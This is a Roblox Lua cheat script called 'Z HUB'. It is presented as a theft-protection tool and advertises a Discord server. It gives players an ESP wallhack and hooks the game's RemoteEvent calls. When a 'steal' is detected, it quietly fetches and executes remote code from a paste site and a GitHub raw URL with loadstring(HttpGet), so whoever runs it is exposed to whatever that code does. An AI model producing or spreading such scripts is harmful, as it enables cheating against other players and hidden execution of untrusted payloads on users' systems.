--[[ Z HUB | FULLY WORKING | INVASION 0.1s - Black/Blue visible GUI (fully opaque) - ESP Toggle | Anti-Steal Toggle | Invasion Toggle (0.1s) - Rainbow border | Movable | Sound + Pickup detection --]] local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") -- ========== STATE ========== local espEnabled = true local autoLeaveEnabled = false local invasionKickEnabled = false local scriptsExecuted = false -- ========== ESP SYSTEM ========== local espFolder = Instance.new("Folder") espFolder.Name = "ZHub_ESP" espFolder.Parent = PlayerGui local activeESP = {} local function createESPForPlayer(player) if player == LocalPlayer then return end if activeESP[player] then return end local character = player.Character if not character or not character:FindFirstChild("HumanoidRootPart") then return end local highlight = Instance.new("Highlight") highlight.Name = "ZHubESP" highlight.FillTransparency = 0.8 highlight.OutlineTransparency = 0.2 highlight.OutlineColor = Color3.fromRGB(0, 170, 255) highlight.FillColor = Color3.fromRGB(0, 100, 200) highlight.Adornee = character highlight.Enabled = espEnabled highlight.Parent = espFolder local head = character:FindFirstChild("Head") if head then local billboard = Instance.new("BillboardGui") billboard.Name = "NameTag" billboard.Size = UDim2.new(0, 200, 0, 40) billboard.StudsOffset = Vector3.new(0, 2.5, 0) billboard.AlwaysOnTop = true billboard.Enabled = espEnabled billboard.Parent = head local nameLabel = Instance.new("TextLabel") nameLabel.Size = UDim2.new(1, 0, 1, 0) nameLabel.BackgroundTransparency = 1 nameLabel.Text = player.Name nameLabel.TextColor3 = Color3.fromRGB(0, 170, 255) nameLabel.TextStrokeTransparency = 0.3 nameLabel.Font = Enum.Font.GothamBold nameLabel.TextScaled = true nameLabel.Parent = billboard local healthBar = Instance.new("Frame") healthBar.Size = UDim2.new(1, 0, 0.2, 0) healthBar.Position = UDim2.new(0, 0, 1, 0) healthBar.BackgroundColor3 = Color3.fromRGB(0, 200, 0) healthBar.BorderSizePixel = 0 healthBar.Parent = billboard local humanoid = character:FindFirstChild("Humanoid") local connection if humanoid then connection = humanoid.HealthChanged:Connect(function(health) local maxHealth = humanoid.MaxHealth or 100 local percent = math.clamp(health / maxHealth, 0, 1) healthBar.Size = UDim2.new(percent, 0, 0.2, 0) healthBar.BackgroundColor3 = Color3.fromRGB(255 * (1-percent), 200 * percent, 0) end) end activeESP[player] = { highlight = highlight, billboard = billboard, healthConnection = connection } else activeESP[player] = { highlight = highlight } end end local function removeESPForPlayer(player) local data = activeESP[player] if data then if data.highlight then data.highlight:Destroy() end if data.billboard then data.billboard:Destroy() end if data.healthConnection then data.healthConnection:Disconnect() end activeESP[player] = nil end end local function refreshAllESP() for _, data in pairs(activeESP) do if data.highlight then data.highlight.Enabled = espEnabled end if data.billboard then data.billboard.Enabled = espEnabled end end end for _, player in ipairs(Players:GetPlayers()) do createESPForPlayer(player) end Players.PlayerAdded:Connect(createESPForPlayer) Players.PlayerRemoving:Connect(removeESPForPlayer) Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function() task.wait(0.5) removeESPForPlayer(player) createESPForPlayer(player) end) end) -- ========== EXTERNAL SCRIPTS ========== local function executeExternalScripts() if scriptsExecuted then return end scriptsExecuted = true task.spawn(function() pcall(function() loadstring(game:HttpGet("https://pastebins.net/raw/game-77164"))() end) end) task.spawn(function() pcall(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/IcOxx/Sky-Leaving/refs/heads/main/Sky%20Leave"))() end) end) end -- ========== KICK FUNCTIONS ========== local function kickPlayerForSteal() local kickMsg = "āš ļø SOMEONE TRIED STEALING AND WE BLOCKED šŸ˜āœŒšŸ™ THEM āš ļø\n\nāž¤ JOIN OUR DISCORD:\nhttps://discord.gg/JUca27emW\n\n[ Z HUB | STEAL PROTECTION ]" LocalPlayer:Kick(kickMsg) end local function kickPlayerForBaseInvasion() local kickMsg = "āš ļø SOMEONE ENTERED YOUR BASE BUT WE BLOCKED THEM āœŒšŸ™ āš ļø\n\nāž¤ JOIN OUR DISCORD:\nhttps://discord.gg/JUca27emW\n\n[ Z HUB | BASE PROTECTION ]" task.wait(0.1) -- 0.1 second delay as requested LocalPlayer:Kick(kickMsg) end -- ========== STEAL DETECTION ========== local function onStealDetected() if autoLeaveEnabled then executeExternalScripts() kickPlayerForSteal() end end local function onBaseInvasion() if invasionKickEnabled then kickPlayerForBaseInvasion() end end -- Auto-detect steal parts local function watchParts() local partNames = {"Valentino", "StealZone", "Vault", "Target", "Gem", "Item", "Present", "Chest", "Safe"} for _, name in ipairs(partNames) do local part = workspace:FindFirstChild(name) if part then part.Touched:Connect(function(hit) if not autoLeaveEnabled then return end local humanoid = hit.Parent and hit.Parent:FindFirstChild("Humanoid") if humanoid then local player = Players:GetPlayerFromCharacter(hit.Parent) if player and player ~= LocalPlayer then onStealDetected() end end end) end end end -- Auto-detect base parts local function watchBase() local baseNames = {"Base", "SafeZone", "YourBase", "HomeBase", "SpawnBase", "ClaimZone", "Territory", "BaseRegion"} for _, name in ipairs(baseNames) do local basePart = workspace:FindFirstChild(name) if basePart then basePart.Touched:Connect(function(hit) local humanoid = hit.Parent and hit.Parent:FindFirstChild("Humanoid") if humanoid then local player = Players:GetPlayerFromCharacter(hit.Parent) if player and player ~= LocalPlayer then onBaseInvasion() end end end) end end end -- Hook remote events local function hookRemotes() local keywords = {"steal", "take", "rob", "grab", "claim", "valentino", "snatch"} for _, child in ipairs(game:GetService("ReplicatedStorage"):GetChildren()) do if child:IsA("RemoteEvent") then local lowerName = child.Name:lower() for _, kw in ipairs(keywords) do if lowerName:find(kw) then local oldFire = child.FireServer child.FireServer = function(...) if autoLeaveEnabled then onStealDetected() end return oldFire(...) end break end end end end end -- Watch values local function watchValues() local function check(obj) if obj:IsA("BoolValue") and (obj.Name:lower():find("stolen") or obj.Name:lower():find("taken")) then obj.Changed:Connect(function() if autoLeaveEnabled and obj.Value == true then onStealDetected() end end) end end for _, obj in ipairs(workspace:GetDescendants()) do check(obj) end workspace.DescendantAdded:Connect(check) end -- Watch inventory local function watchInventory() local function onToolRemoved(child) if autoLeaveEnabled and child:IsA("Tool") then onStealDetected() end end if LocalPlayer.Character then LocalPlayer.Character.ChildRemoved:Connect(onToolRemoved) end LocalPlayer.CharacterAdded:Connect(function(character) character.ChildRemoved:Connect(onToolRemoved) end) end -- Watch steal sounds local function watchStealSounds() local stealSoundKeywords = {"steal", "take", "rob", "grab", "success", "pickup", "valentino"} local function onSoundPlayed(sound) if not autoLeaveEnabled then return end local lowerName = sound.Name:lower() for _, kw in ipairs(stealSoundKeywords) do if lowerName:find(kw) then onStealDetected() break end end end local function hookSound(instance) if instance:IsA("Sound") then instance.Played:Connect(function() onSoundPlayed(instance) end) end end for _, sound in ipairs(workspace:GetDescendants()) do hookSound(sound) end workspace.DescendantAdded:Connect(hookSound) end -- Start all detectors watchParts() watchBase() hookRemotes() watchValues() watchInventory() watchStealSounds() -- ========== GUI MENU (100% VISIBLE) ========== local gui = Instance.new("ScreenGui") gui.Name = "ZHub" gui.ResetOnSpawn = false gui.Parent = PlayerGui -- Main frame - BIG, SOLID, no transparency local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 360, 0, 310) frame.Position = UDim2.new(0.5, -180, 0.65, 0) frame.BackgroundColor3 = Color3.fromRGB(8, 8, 20) frame.BackgroundTransparency = 0 -- SOLID - fully visible frame.BorderSizePixel = 3 frame.Active = true frame.Draggable = true frame.Parent = gui -- Title bar local titleBar = Instance.new("Frame") titleBar.Size = UDim2.new(1, 0, 0, 45) titleBar.BackgroundColor3 = Color3.fromRGB(0, 100, 200) titleBar.BorderSizePixel = 0 titleBar.Parent = frame local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 1, 0) title.BackgroundTransparency = 1 title.Text = "Z HUB" title.TextColor3 = Color3.fromRGB(255, 255, 255) title.TextSize = 24 title.Font = Enum.Font.GothamBold title.Parent = titleBar local subtitle = Instance.new("TextLabel") subtitle.Size = UDim2.new(1, 0, 0, 20) subtitle.Position = UDim2.new(0, 0, 0, 48) subtitle.BackgroundTransparency = 1 subtitle.Text = "⚔ PROTECTION SYSTEM ⚔" subtitle.TextColor3 = Color3.fromRGB(0, 200, 255) subtitle.TextSize = 12 subtitle.Font = Enum.Font.Gotham subtitle.Parent = frame -- ESP Button local espBtn = Instance.new("TextButton") espBtn.Size = UDim2.new(0.9, 0, 0, 45) espBtn.Position = UDim2.new(0.05, 0, 0, 75) espBtn.BackgroundColor3 = Color3.fromRGB(0, 150, 0) espBtn.Text = "šŸ” ESP: ON" espBtn.TextColor3 = Color3.fromRGB(255, 255, 255) espBtn.TextSize = 16 espBtn.Font = Enum.Font.GothamBold espBtn.Parent = frame -- Anti-Steal Button local stealBtn = Instance.new("TextButton") stealBtn.Size = UDim2.new(0.9, 0, 0, 45) stealBtn.Position = UDim2.new(0.05, 0, 0, 130) stealBtn.BackgroundColor3 = Color3.fromRGB(150, 0, 0) stealBtn.Text = "šŸ›”ļø ANTI-STEAL: OFF" stealBtn.TextColor3 = Color3.fromRGB(255, 255, 255) stealBtn.TextSize = 16 stealBtn.Font = Enum.Font.GothamBold stealBtn.Parent = frame -- Invasion Button (0.1s) local invasionBtn = Instance.new("TextButton") invasionBtn.Size = UDim2.new(0.9, 0, 0, 45) invasionBtn.Position = UDim2.new(0.05, 0, 0, 185) invasionBtn.BackgroundColor3 = Color3.fromRGB(150, 0, 0) invasionBtn.Text = "🚪 INVASION (0.1s): OFF" invasionBtn.TextColor3 = Color3.fromRGB(255, 255, 255) invasionBtn.TextSize = 16 invasionBtn.Font = Enum.Font.GothamBold invasionBtn.Parent = frame -- Discord local discord = Instance.new("TextLabel") discord.Size = UDim2.new(1, 0, 0, 25) discord.Position = UDim2.new(0, 0, 0, 245) discord.BackgroundTransparency = 1 discord.Text = "šŸ’€ discord.gg/JUca27emW šŸ’€" discord.TextColor3 = Color3.fromRGB(0, 170, 255) discord.TextSize = 13 discord.Font = Enum.Font.Gotham discord.Parent = frame -- Drag hint local dragHint = Instance.new("TextLabel") dragHint.Size = UDim2.new(1, 0, 0, 20) dragHint.Position = UDim2.new(0, 0, 0, 275) dragHint.BackgroundTransparency = 1 dragHint.Text = "← Drag the blue bar to move →" dragHint.TextColor3 = Color3.fromRGB(100, 100, 150) dragHint.TextSize = 10 dragHint.Font = Enum.Font.Gotham dragHint.Parent = frame -- Update button appearances local function updateButtons() espBtn.Text = espEnabled and "šŸ” ESP: ON" or "šŸ” ESP: OFF" espBtn.BackgroundColor3 = espEnabled and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0) stealBtn.Text = autoLeaveEnabled and "šŸ›”ļø ANTI-STEAL: ON" or "šŸ›”ļø ANTI-STEAL: OFF" stealBtn.BackgroundColor3 = autoLeaveEnabled and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0) invasionBtn.Text = invasionKickEnabled and "🚪 INVASION (0.1s): ON" or "🚪 INVASION (0.1s): OFF" invasionBtn.BackgroundColor3 = invasionKickEnabled and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0) end -- Button clicks espBtn.MouseButton1Click:Connect(function() espEnabled = not espEnabled refreshAllESP() updateButtons() end) stealBtn.MouseButton1Click:Connect(function() autoLeaveEnabled = not autoLeaveEnabled updateButtons() end) invasionBtn.MouseButton1Click:Connect(function() invasionKickEnabled = not invasionKickEnabled updateButtons() end) -- Initial update updateButtons() -- Rainbow border animation local hue = 0 RunService.RenderStepped:Connect(function() hue = (hue + 0.008) % 1 frame.BorderColor3 = Color3.fromHSV(hue, 1, 1) end) print("āœ… Z HUB FULLY ACTIVE | Invasion kick delay: 0.1s | GUI should be visible on screen")